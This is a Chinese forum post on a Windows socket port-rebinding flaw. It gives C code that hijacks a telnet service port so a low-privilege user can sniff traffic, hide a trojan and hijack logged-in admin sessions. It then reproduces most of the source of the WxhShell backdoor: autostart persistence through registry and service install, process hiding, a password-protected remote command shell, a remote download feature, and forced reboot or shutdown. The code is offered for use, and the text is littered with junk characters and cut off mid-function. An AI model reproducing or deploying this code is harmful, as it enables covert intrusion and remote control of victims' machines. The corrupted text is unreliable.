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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =] *.ZH#h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fd-q3 _f  
OO[F E3F  
  saddr.sin_family = AF_INET; -'~ LjA(  
S26MDLk`R3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~/.7l8)  
Vz6Qxd{m3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aaD;jxT&M|  
UG=K|OXWJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5j~$Mj`  
#>Zzf  
  这意味着什么?意味着可以进行如下的攻击: ;2B{9{  
[JF150zr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g=I8@m  
)iFJz/n>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /cU<hApK  
Um&(&?Xf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J9~ g|5  
{e|[%reSkg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  " Hd|7F'u=  
Y nLErJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \hCH>*x<  
{%_L=2n6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^o7;c[E`  
M)SEn/T-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XQw>EZdj_N  
eq U ME  
  #include h: 9Zt0,  
  #include #8)*1?  
  #include ;Iq/l%vX  
  #include    l+V>]?j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~6p[El#tS  
  int main() J H7<  
  { &RfC"lc  
  WORD wVersionRequested; ocs+d\  
  DWORD ret; 1dK*y'rx  
  WSADATA wsaData; -Z's@'*  
  BOOL val; VNY%R,6  
  SOCKADDR_IN saddr; <>Hj ;q5p  
  SOCKADDR_IN scaddr; (DI>5.x"  
  int err; 6'FdGS  
  SOCKET s; qT+%;(  
  SOCKET sc; MdW]MW{  
  int caddsize; uC cYPvm  
  HANDLE mt; SJHr_bawd  
  DWORD tid;   L*:jXmUM_~  
  wVersionRequested = MAKEWORD( 2, 2 ); Mxv;k%l|E|  
  err = WSAStartup( wVersionRequested, &wsaData ); ;3@cy|\:  
  if ( err != 0 ) { [sW3l:^  
  printf("error!WSAStartup failed!\n"); @ta7"6p-i@  
  return -1; AB4(+S*LA  
  } :8OZ#D_Hl  
  saddr.sin_family = AF_INET; M]J ^N#  
   O&Y*pOg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pej|!oX  
')$+G152  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4q k9NK2 U  
  saddr.sin_port = htons(23); 9g mW&{6q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !_Wi!Vr_  
  { &wV]"&-  
  printf("error!socket failed!\n"); K57&yVX  
  return -1; qw^uPs7Uw  
  } BBev<  
  val = TRUE; T \_ ]^]>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7Ve1]) u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a*&B`77`|  
  { JT!9\i  
  printf("error!setsockopt failed!\n"); sr{a(4*\  
  return -1; 6}!#;@D~  
  } Eq j_m|@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rogT~G}q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rx}$0c0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '!eKTC>  
oaIi2=Tf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ):[7E(F=  
  { o{y9r{~A  
  ret=GetLastError(); :0Rx#%u}#  
  printf("error!bind failed!\n"); E4M@WNPx  
  return -1; t&AFU t\c  
  } VT\F]Oa#  
  listen(s,2); o%IA}e7PAa  
  while(1) r2,.abo  
  { N(Fp0  
  caddsize = sizeof(scaddr); Tu).K.p:  
  //接受连接请求 AHXSt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LhA/xf  
  if(sc!=INVALID_SOCKET) pu2 tY7J a  
  { )mF5Vw"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @}}$zv6l,  
  if(mt==NULL) ;6>2"{NW  
  { ]7Tkkw$  
  printf("Thread Creat Failed!\n"); YTUZoW2  
  break; H}hiT/+$  
  } `)T13Xv  
  } ;wz^gdh;  
  CloseHandle(mt); Utnr5^].2O  
  } WE:24b6  
  closesocket(s); d?A 0MKnl  
  WSACleanup(); YoBDvV":@  
  return 0; \1^^\G>H5  
  }   K<>oa[B9  
  DWORD WINAPI ClientThread(LPVOID lpParam) XovRg,  
  { YS/Yd[ e  
  SOCKET ss = (SOCKET)lpParam; hoK>~:;  
  SOCKET sc; .y!<t}  
  unsigned char buf[4096]; 9_Be0xgJ3^  
  SOCKADDR_IN saddr; 2AT5  
  long num; H|3:6x  
  DWORD val; Uq^#riq  
  DWORD ret; zh8nc%X{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Vex{.Vh,"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [XEkz#{  
  saddr.sin_family = AF_INET; _V7s#_p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x!5'`A!W%  
  saddr.sin_port = htons(23); ]:XoRyIZ1[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rh_np  
  { O$_)G\\\m  
  printf("error!socket failed!\n"); ]>=}*=  
  return -1; X=5xh  
  } u)}$~E>  
  val = 100; CDQW !XHc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =8AO:  
  { K,+LG7ec  
  ret = GetLastError(); ~A'!2  
  return -1; }`% *W`9b  
  } J&W)(Cf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3@dL /x4A  
  { c;Pe/d  
  ret = GetLastError(); 7z JRJ*NB  
  return -1; Yc_8r+;(  
  } p<2L.\6"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PgtJ3oq [}  
  { 6dabU*  
  printf("error!socket connect failed!\n"); TN+iA~kQ  
  closesocket(sc); 42G)~lun-d  
  closesocket(ss); :XZU&Sr"  
  return -1; [j=yMP38!:  
  } + B B@OW  
  while(1) }wr{W:j  
  { g{OwuAC_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z> Rsi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dCi?SIN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $'BSH4~|.  
  num = recv(ss,buf,4096,0); Pg,b-W?n*  
  if(num>0) + jc!5i .  
  send(sc,buf,num,0); Q=;U@k@>  
  else if(num==0) Mo?~_|}  
  break; V58wU:li  
  num = recv(sc,buf,4096,0); JTO~9>$ B  
  if(num>0) =,spvy'"*C  
  send(ss,buf,num,0); nAW:utTB  
  else if(num==0) %b&". mN  
  break; l{I6&^!KS  
  } ($au:'kU  
  closesocket(ss); x$5) ^ud?  
  closesocket(sc); Rdvk ml@@  
  return 0 ; vQosPS_2L  
  } \?[v{WP)  
5na~@-9p  
Uc7mOa}4  
========================================================== @XLy7_}  
` Q|*1  
下边附上一个代码,,WXhSHELL [Dk=? +  
KHe=O1 %QO  
========================================================== OK[T3/v,  
^t` k0<  
#include "stdafx.h" -lbm* -(  
be]bZ 1f  
#include <stdio.h> Tl(^  
#include <string.h> F, W~,y  
#include <windows.h> 27 ]':A4_  
#include <winsock2.h> TSTl+W  
#include <winsvc.h> ]zj9A]i:a  
#include <urlmon.h> nKPYOY8^  
s )noo  
#pragma comment (lib, "Ws2_32.lib") [~-9i &Z  
#pragma comment (lib, "urlmon.lib") Y-kt.X/Z-  
X 0WJBEE  
#define MAX_USER   100 // 最大客户端连接数 Sg&UagBj  
#define BUF_SOCK   200 // sock buffer ^o^H3m  
#define KEY_BUFF   255 // 输入 buffer 6t>.[Y"v  
HW3 }uP\c  
#define REBOOT     0   // 重启 )j9SGLo  
#define SHUTDOWN   1   // 关机 hL/)|N~  
xSktg]u Se  
#define DEF_PORT   5000 // 监听端口 m+`fn;*  
O@u?h9?cf>  
#define REG_LEN     16   // 注册表键长度 ]op}y0  
#define SVC_LEN     80   // NT服务名长度 7mI:| G  
t[ubn+  
// 从dll定义API QS%%^+E2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KK&rb~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `NCwK6/i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G,?hp>lj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h].<t&  
"$#xK|t  
// wxhshell配置信息 ;YA(|h<  
struct WSCFG { Dd'm U  
  int ws_port;         // 监听端口 >.Chl$)<  
  char ws_passstr[REG_LEN]; // 口令 E(O74/2c8  
  int ws_autoins;       // 安装标记, 1=yes 0=no $bW3_rl%X  
  char ws_regname[REG_LEN]; // 注册表键名 L^E[J`  
  char ws_svcname[REG_LEN]; // 服务名 Z,sv9{4r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $+P>~X)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YPU*@l>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )U~=Pf"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n!YKz"$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2/vMoVT,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -=%@L&y1  
=d".|k  
}; 0"kbrv2y  
_wTOmz%|R  
// default Wxhshell configuration sPr~=,F  
struct WSCFG wscfg={DEF_PORT, m_.>C  
    "xuhuanlingzhe", o C<.=2]  
    1, g<l1zo`_  
    "Wxhshell", JSkLEa~<  
    "Wxhshell", 9{RB{<Se!  
            "WxhShell Service", }p}[j t  
    "Wrsky Windows CmdShell Service", }=%oX}[  
    "Please Input Your Password: ", Wr<j!>J6Ki  
  1, G/b^|;41  
  "http://www.wrsky.com/wxhshell.exe", #yI mKEYX  
  "Wxhshell.exe" k9k XyX[  
    }; p2ogn}`  
SG6kud\b  
// 消息定义模块 H<VTa? n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _y),J'W^3u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !Y$h"<M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O~T@rX9f  
char *msg_ws_ext="\n\rExit."; /M|2 62%  
char *msg_ws_end="\n\rQuit."; k jg~n9#T  
char *msg_ws_boot="\n\rReboot..."; /35R u}c  
char *msg_ws_poff="\n\rShutdown..."; 4i6q{BeHn  
char *msg_ws_down="\n\rSave to "; G}:w@}h/  
p~SClaR3H  
char *msg_ws_err="\n\rErr!"; WlB  
char *msg_ws_ok="\n\rOK!"; b<a4'M  
(pY 7J  
char ExeFile[MAX_PATH]; @Fluc,Il  
int nUser = 0; \SN&G `o<  
HANDLE handles[MAX_USER]; ZjgsR|i  
int OsIsNt; I%r{]-Obr-  
!F1M(zFD  
SERVICE_STATUS       serviceStatus; R@/"B8H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5 xppKt  
d9B]fi}  
// 函数声明 I/a/)No  
int Install(void); z2MWN\?8  
int Uninstall(void); :# .<[  
int DownloadFile(char *sURL, SOCKET wsh); "]"|"0#i  
int Boot(int flag); |bq$xp  
void HideProc(void); v9:9E|,U+  
int GetOsVer(void); RZHd9v$  
int Wxhshell(SOCKET wsl); 2[Z,J%:0  
void TalkWithClient(void *cs); '9S8}q  
int CmdShell(SOCKET sock); ! ='rc-E  
int StartFromService(void); x,rlrxI  
int StartWxhshell(LPSTR lpCmdLine); >64P6P;S  
H| 8Qp*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >d,jKlh^.%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v16 JgycM  
n2]/v{E;/  
// 数据结构和表定义 3  ^>l\,  
SERVICE_TABLE_ENTRY DispatchTable[] = <QA6/Ef7  
{ Jl5c [F  
{wscfg.ws_svcname, NTServiceMain}, X WUWY  
{NULL, NULL} /LvRP yj@  
}; N"" BCh"  
N.\- 8?>  
// 自我安装 {>R:vH 8  
int Install(void) &X|#R1\  
{ e7m*rh%5>  
  char svExeFile[MAX_PATH]; -db_E#  
  HKEY key; P+s !|7'  
  strcpy(svExeFile,ExeFile); nSW=LjrO~<  
eCqHvMp  
// 如果是win9x系统,修改注册表设为自启动 XiL~TCkx4  
if(!OsIsNt) { |2RC#]/-Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,eTUhK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;%<,IdhN  
  RegCloseKey(key); t; 4]cg:_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?)kGA$m#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i(AT8Bo2  
  RegCloseKey(key); {4G%:09~J  
  return 0; =h0,?]z  
    } <~6h|F8  
  } cl]Mi "3_  
} 5_- (<B  
else { W+PJZn  
Fx;QU)1l3  
// 如果是NT以上系统,安装为系统服务 )6q,>whI]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # WAZ9,t  
if (schSCManager!=0) YE|SKx@  
{ Tw""}|] g  
  SC_HANDLE schService = CreateService F({HP)9b  
  ( Fh`~`eog  
  schSCManager, /W>iJfx  
  wscfg.ws_svcname, }% `.h"  
  wscfg.ws_svcdisp, #~7ip\Uf[  
  SERVICE_ALL_ACCESS, Bwa'`+bC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KVn []@#  
  SERVICE_AUTO_START, PcA2/!a  
  SERVICE_ERROR_NORMAL, )TVFtI=,NN  
  svExeFile, mS~o?q-n  
  NULL, tn Pv70m  
  NULL, j6Yy6X]  
  NULL, K POa|$  
  NULL, SZ,YS 4M  
  NULL |y0(Q V  
  ); CDP U\ZG  
  if (schService!=0) d8[J@M53|T  
  { L1cI`9  
  CloseServiceHandle(schService); \P.I)n`8 y  
  CloseServiceHandle(schSCManager); X~lVVBO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :-/M?,Q"  
  strcat(svExeFile,wscfg.ws_svcname); 6LalW5I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BI3@|,._N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RloK,bg  
  RegCloseKey(key); n?- })  
  return 0; {so `/EWa  
    } [H6hyG~  
  } 3BtaH#ZY  
  CloseServiceHandle(schSCManager); bn!HUM,  
} /H8g(  
} H."EUcE{  
d-k%{eBV  
return 1; SKkUU^\#R`  
} nEJY5Bz$  
n 2)@S0{  
// 自我卸载 tasUZ#\6  
int Uninstall(void) BW 4%l  
{ a-=8xs'  
  HKEY key; ^pQCNKLBY  
@\f^0^G  
if(!OsIsNt) { S/9DtXQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,n3a gkPO>  
  RegDeleteValue(key,wscfg.ws_regname); \l9qt5rS  
  RegCloseKey(key); Dey<OE&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G+X Sfr  
  RegDeleteValue(key,wscfg.ws_regname); S7/eS)SQR  
  RegCloseKey(key); uTKD 4yig  
  return 0; 2QJ{a46}  
  } ,N!o  
} 2E}*v5b,  
} |4B:<x   
else { <Bw^!.jAF  
z^#;~I @M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KX'{[7}m'  
if (schSCManager!=0) *7ZN]/VRT  
{ &e#~<Wm82  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jl#%uU/sx  
  if (schService!=0) &6ZD136  
  { q,93nhs "  
  if(DeleteService(schService)!=0) { *X+79vG:  
  CloseServiceHandle(schService); Rm255z p  
  CloseServiceHandle(schSCManager); -uMSe~  
  return 0; X voo=  
  } vgfcCcZ_iZ  
  CloseServiceHandle(schService); D-5VC9{  
  } 0w&27wW  
  CloseServiceHandle(schSCManager); ki?S~'a  
} tjdaaN#,V  
} L?WFm n  
gG*X^Uo  
return 1; ZWc]$H?  
} ykV 5  
05b_)&4R  
// 从指定url下载文件 57umx`m  
int DownloadFile(char *sURL, SOCKET wsh) jRJn+  
{ 0n;< ge&~R  
  HRESULT hr; ;"dV"W  
char seps[]= "/"; ]G5 w6&d  
char *token; h*w%jdQ6  
char *file;  %oZ6l*  
char myURL[MAX_PATH]; 925|bX6I  
char myFILE[MAX_PATH]; }BZ"S-hZ  
7UVzp v  
strcpy(myURL,sURL); 4^WpS/#4  
  token=strtok(myURL,seps); Yu)NO\3&  
  while(token!=NULL) ^c^#dpn  
  { Fcd3H$Na;  
    file=token; ST:A<Da"  
  token=strtok(NULL,seps); IC1NKn<k  
  } g# Sl %Y  
%s|}Fz->  
GetCurrentDirectory(MAX_PATH,myFILE); 5=v}W:^v.  
strcat(myFILE, "\\"); RS)tO0  
strcat(myFILE, file); '98VYCL  
  send(wsh,myFILE,strlen(myFILE),0); K 1 a\b"  
send(wsh,"...",3,0); lij.N) E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bdC8zDD  
  if(hr==S_OK) mS(fgq6  
return 0; b{L/4bu  
else r:f[mk"-"A  
return 1; S- pV_Ff  
K/i*w<aPb7  
} `6lr4Kk @R  
V^3L3|k  
// 系统电源模块 ]x RM&=)<  
int Boot(int flag) \m(VdE  
{ E"qRw_ ~t  
  HANDLE hToken; &cxRD  
  TOKEN_PRIVILEGES tkp; Y9uC&/_C  
$c]fPt"i  
  if(OsIsNt) { D^l%{IG   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,z;cbsV-{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]P.'>4  
    tkp.PrivilegeCount = 1; :=u?Fqqws  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xe{ !wX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vk77B(u  
if(flag==REBOOT) { O_wEcJPE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =e9>FWf>  
  return 0; v!<gY m&  
} 7"sD5N/>uh  
else { q8/MMKCbX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t&H?\)!4  
  return 0; 5ymk\Lw  
} piPR=B+  
  } AgS 7J(^&3  
  else { wQ^EYKD  
if(flag==REBOOT) { -:|?h{q?u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `o=q%$f#k~  
  return 0; }4 )H   
} (7*%K&x  
else { ,w {e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >, F bX8Zz  
  return 0; oB}BU`-l  
} A#.edVj.g4  
} ,K)_OVB  
w_.F' E  
return 1; OGK}EI  
} ,]9P{k]O  
9oYgl1}d  
// win9x进程隐藏模块 * @ 3Ag(  
void HideProc(void) K#6P}tf  
{ &J[:awQX  
"iy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %zG;Q@  
  if ( hKernel != NULL ) 1S{D6#bE  
  { J]{QB^?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]^h]t~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ''yB5#^w(  
    FreeLibrary(hKernel); r_ I5. gK  
  } r[|Xy>Zj  
',9V|jvK  
return; 't:; irLW.  
} OI|[roMK  
b$N 2z  
// 获取操作系统版本 >_[ 9t  
int GetOsVer(void) t^+ik1.  
{ 01wX`"I  
  OSVERSIONINFO winfo; mk.9OhYY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uatm/o^~,  
  GetVersionEx(&winfo); l4F%VR4KT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2BQ j  
  return 1; q]T1dz?  
  else z[b@ V  
  return 0; iW$_zgN  
} d' !]ZWe  
RIlwdt  
// 客户端句柄模块 ]~9t Y n  
int Wxhshell(SOCKET wsl) /rK}?U  
{ (?n=33}Ci  
  SOCKET wsh; 8EW_V$>R  
  struct sockaddr_in client; f.D?sHAn  
  DWORD myID; :flx6,7D  
.YhA@8nc~l  
  while(nUser<MAX_USER) Jl( &!?j  
{ |cK*~  
  int nSize=sizeof(client); m8A#~i .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dG@%jD)  
  if(wsh==INVALID_SOCKET) return 1; %RTBV9LIXr  
<^&ehy:7y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z06r6  
if(handles[nUser]==0) `F-/QX[:  
  closesocket(wsh); Oxm>c[R  
else LhA*F[6$M  
  nUser++; (up~[  
  } w mn+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %'b M){  
/a{la8Ni  
  return 0; * aN  
} ,k24w7K%d  
V3&RJ k=b  
// 关闭 socket ] ] !VK  
void CloseIt(SOCKET wsh) ). <-X^@  
{ j]{_s"O  
closesocket(wsh); :*I# n  
nUser--; Y\D!/T  
ExitThread(0); n`#tKwWHYx  
} H=<S 9M  
ND'E8Ke pq  
// 客户端请求句柄 BL0 {HV!  
void TalkWithClient(void *cs) caIL&G,  
{ C^O VB-  
=O&%c%~q  
  SOCKET wsh=(SOCKET)cs; $mu^G t  
  char pwd[SVC_LEN]; *1 uKr9  
  char cmd[KEY_BUFF]; o*-)Tq8GHE  
char chr[1]; U_M$#i{_  
int i,j; '}9x\3E  
hpHr\g  
  while (nUser < MAX_USER) { #*D)Q/k  
|t^E~HLm,  
if(wscfg.ws_passstr) { y^;#&k!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x.]i }mt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q 8T]\6)m  
  //ZeroMemory(pwd,KEY_BUFF); 1#C4;3i,  
      i=0; b,5~b&<h  
  while(i<SVC_LEN) { .8@$\ZRP  
(jnQ -  
  // 设置超时 D[4u+g?[}>  
  fd_set FdRead; @:j}Jmg  
  struct timeval TimeOut; R_ B7EP  
  FD_ZERO(&FdRead); B~6&{7 xc%  
  FD_SET(wsh,&FdRead); P Y_u/<u  
  TimeOut.tv_sec=8; 34`'M+3  
  TimeOut.tv_usec=0; vleS2-]|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XeW<B0~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !<j'Ea  
|nc@"OJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %>yG+Od5Z  
  pwd=chr[0];  w^?>e;/\  
  if(chr[0]==0xd || chr[0]==0xa) { /$ w%Q-p  
  pwd=0; 6@Y_*4$|  
  break; VF&(8X\   
  } ojafy}  
  i++; A0/"&Ag]  
    } &TnS4O  
S*==aftl(  
  // 如果是非法用户,关闭 socket ];VA!++  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P9GN}GN%v  
} n D0K).=Q  
*M[?bk~~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aI%g2 q0f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9eGyyZg  
4qO+_!x{)  
while(1) { 6w*dKInG[-  
x/NfZ5e0X  
  ZeroMemory(cmd,KEY_BUFF); O(#)m>A  
&T+atL`N  
      // 自动支持客户端 telnet标准   %D UH@j  
  j=0; Z 6t56"u  
  while(j<KEY_BUFF) { "fQ~uzg="  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pnk5mK$  
  cmd[j]=chr[0]; yg `j-9[8  
  if(chr[0]==0xa || chr[0]==0xd) { {}>0e:51  
  cmd[j]=0; f~t:L, \,  
  break; ^?-:'<4q$  
  } Ye\rB\-  
  j++; _ q(ko/T  
    } j:^#rFD4?  
ZXu>,Jy  
  // 下载文件 ?274uAO'  
  if(strstr(cmd,"http://")) { ]jtK I4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QHDXW1+|^  
  if(DownloadFile(cmd,wsh)) BTl k Etm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NiNM{[3oS  
  else p?{Xu4(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ED2a}Tt>Z  
  } h2)yq:87  
  else { zE336  
hP=WFD&  
    switch(cmd[0]) { 1[mXd  
  7P%%p3  
  // 帮助 G|[=/>~B  
  case '?': { OPetj.C/a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S$f9m  
    break; aKV$pC<[o  
  } ;PF`Wj  
  // 安装 ,QOG!T4  
  case 'i': { +cD<:"L'g  
    if(Install())  Qn^'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dl.N.P7}4  
    else dah[:rP,n{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1?#81  
    break; teOe#*  
    } s6ZuM/Q  
  // 卸载 jG6]A"pr  
  case 'r': { \n"{qfn`r  
    if(Uninstall()) j>*S5y.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =4vy@7/  
    else 8&;UO{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b IH;  
    break; @:;)~V  
    } _U$<xVnP  
  // 显示 wxhshell 所在路径 efSM`!%j  
  case 'p': {  N O2XA\  
    char svExeFile[MAX_PATH]; w4_ U0 n3  
    strcpy(svExeFile,"\n\r"); [NQOrcAQ  
      strcat(svExeFile,ExeFile); $[9%QQk5<L  
        send(wsh,svExeFile,strlen(svExeFile),0); n+! AnKq  
    break; Gn22<C/  
    } OGBHos  
  // 重启 "HX<,l8f%  
  case 'b': { Qf58ig-vCY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2{M^,=^>  
    if(Boot(REBOOT)) Q;MT"=RW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$ +?6E  
    else { @M<|:Z %.@  
    closesocket(wsh); 7@C<oy_bb  
    ExitThread(0); x9NEFtqjm  
    } ".f ;+wH  
    break; xpNH?#&  
    } u=Fv 2  
  // 关机 Om\o#{D  
  case 'd': { ylUb9KusOx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d]`CxI]  
